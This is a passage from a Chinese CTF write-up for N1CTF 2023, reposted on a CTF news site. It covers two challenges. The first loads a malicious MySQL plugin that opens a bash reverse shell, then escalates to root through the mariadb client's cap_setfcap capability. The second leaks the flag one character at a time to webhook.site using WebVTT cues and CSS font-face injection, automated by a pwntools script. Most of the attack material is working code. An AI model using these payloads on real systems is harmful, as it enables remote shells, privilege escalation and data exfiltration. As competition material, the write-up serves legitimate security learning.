AAAAAAAAAAAdwAAAAQAAAACAAAAAAAAAHgEAAAAAAAAeAQAAAAAAADAAAAAAAAAAAQAAAAAAAAACAAAAAAAAAAYAAAAAAAAAIEAAAAEAAAAQgAAAAAAAAA4BQAAAAAAADgFAAAAAAAAGAAAAAAAAAAEAAAAFQAAAAgAAAAAAAAAGAAAAAAAAACLAAAAAQAAAAYAAAAAAAAAABAAAAAAAAAAEAAAAAAAABsAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAhgAAAAEAAAAGAAAAAAAAACAQAAAAAAAAIBAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAJEAAAABAAAABgAAAAAAAABAEAAAAAAAAEAQAAAAAAAA3wAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAACXAAAAAQAAAAYAAAAAAAAAIBEAAAAAAAAgEQAAAAAAAA0AAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAnQAAAAEAAAACAAAAAAAAAAAgAAAAAAAAACAAAAAAAAA4AAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAKUAAAABAAAAAgAAAAAAAAA4IAAAAAAAADggAAAAAAAAHAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACzAAAAAQAAAAIAAAAAAAAAWCAAAAAAAABYIAAAAAAAAGQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAvQAAAA4AAAADAAAAAAAAAPA9AAAAAAAA8C0AAAAAAAAQAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAMkAAAAPAAAAAwAAAAAAAAAAPgAAAAAAAAAuAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADVAAAABgAAAAMAAAAAAAAACD4AAAAAAAAILgAAAAAAAMABAAAAAAAABQAAAAAAAAAIAAAAAAAAABAAAAAAAAAA3gAAAAEAAAADAAAAAAAAAMg/AAAAAAAAyC8AAAAAAAAgAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAOMAAAABAAAAAwAAAAAAAADoPwAAAAAAAOgvAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADsAAAAAQAAAAMAAAAAAAAACEAAAAAAAAAIMAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA8gAAAAgAAAADAAAAAAAAABBAAAAAAAAAEDAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAPcAAAABAAAAMAAAAAAAAAAAAAAAAAAAABAwAAAAAAAAGwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAwMAAAAAAAAIABAAAAAAAAGgAAAAoAAAAIAAAAAAAAABgAAAAAAAAACQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAsDEAAAAAAADXAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAIcyAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA=') into dumpfile '/mysql/plugin/xxxx.so';INSTALL PLUGIN testx SONAME 'xxxx.so';
1
2
3
4
5
6
7
8
9
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

// gcc -fPIC -shared test.c -o test.so
__attribute__ ((__constructor__)) void test (void){
    system("bash -c 'bash -i >& /dev/tcp/ip/19134 0>&1' &");
}

根据提示 find / -exec getcap {} ; 2>/dev/null 发现
mariadb 客户端有 cap_setfcap

/usr/bin/mariadb cap_setfcap=ep

那么首先写 readflag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

// gcc readflag.c -o readflag
int main() {
    char *buffer[1024];
    setuid(0);
    FILE* f = fopen("/flag", "r");
    fread(buffer, 1024, 1, f);
    fclose(f);
    printf("%s\n", buffer);
}

再写一个调用 cap_set_file 给 readflag 挂上 cap_setuid=ep
之后用 mariadb 加载恶意 so, mariadb –plugin-dir=/mysql/plugin/ –default-auth=setcap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#define _GNU_SOURCE
#include <stdlib.h>
#include <sys/capability.h>
#include <unistd.h>
#include <sys/types.h>

// setcap cap_setuid+ep readflag

// /usr/bin/mariadb cap_setfcap=ep
// gcc -fPIC -shared setcap.c -o setcap.so -lcap
__attribute__ ((__constructor__)) void test (void){
    cap_t cap = cap_from_text("cap_setuid+ep");
    cap_set_file("/mysql/plugin/readflag", cap);
}

然后 readflag 就可以提权到 root + 读 flag 了

ytiruces

Sovled by: hpdoger, ucasz, crumbledwall, z3ratu1

使用文本格式的vtt字幕文件,来leak相关的flag信息。
https://developer.mozilla.org/en-US/docs/Web/API/WebVTT_API#styling_webvtt_cues
以下作为简单的测试:

/static/1.vtt
WEBVTT
00:00.000-->00:04.000
<v n1ctf{testdd5}


payload:
<video controls autoplay muted src="https://interactive-examples.mdn.mozilla.net/media/cc0-videos/friday.mp4">
    <track default kind="captions" srclang="en" src="/static/1.vtt" />
</video>hhh<style>
    @font-face {  
        font-family: "fz";  
        src: url(https://webhook.site/xxxxxx/?q=z);
    }
    video {
        width: 250px;
    }
    video::cue(v[voice^="n1"]) {
        font-size: 1rem;
        font-family: fz;
        color: red;
    }
</style>

发现可以收到回显,于是根据上述代码稍微改改,写个脚本+手动即可挨个leak出flag信息:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

p1 = """https://ytiruces.ctfpunk.com/?content=%3Cvideo%20controls%20autoplay%20muted%20src=%22https://static.kev1n.top/aaa.mp3%22%3E%3Ctrack%20default%20kind=%22captions%22%20srclang=%22en%22%20src=%22/flag?name=WEBVTT%250a00:00.000--%3E00:04.000%250a%3Cv%22%20/%3E%3C/video%3Ehhh%3Cstyle%3E@font-face%20{%20font-family:%20%22fz%22;%20src:%20url(https://webhook.site/xxxxxxxxx/?q="""

p2 = """);}video%20{%20width:%20250px;}%20video::cue(v[voice^=%22"""

p3 = """%22])%20{%20font-size:%201rem;%20font-family:%20fz;%20color:%20red;}%3C/style%3E"""

flag = "n1ctf{ILoveArknightsDotGlobal"
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789}_"

for i in charset:
    test_flag = flag + i
    conn = remote('119.28.143.13', 32903)
    print(conn.recv().decode())
    payload = p1 + test_flag + p2 + test_flag + p3
    print('[+] Now testing ' + test_flag)
    conn.sendline(payload)
    print(conn.recv().decode())
    conn.close()

 

原文始发于NeSE:N1CTF 2023 Writeup by Never Stop Exploiting

版权声明:admin 发表于 2023年10月25日 下午6:58。
转载请注明:N1CTF 2023 Writeup by Never Stop Exploiting | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...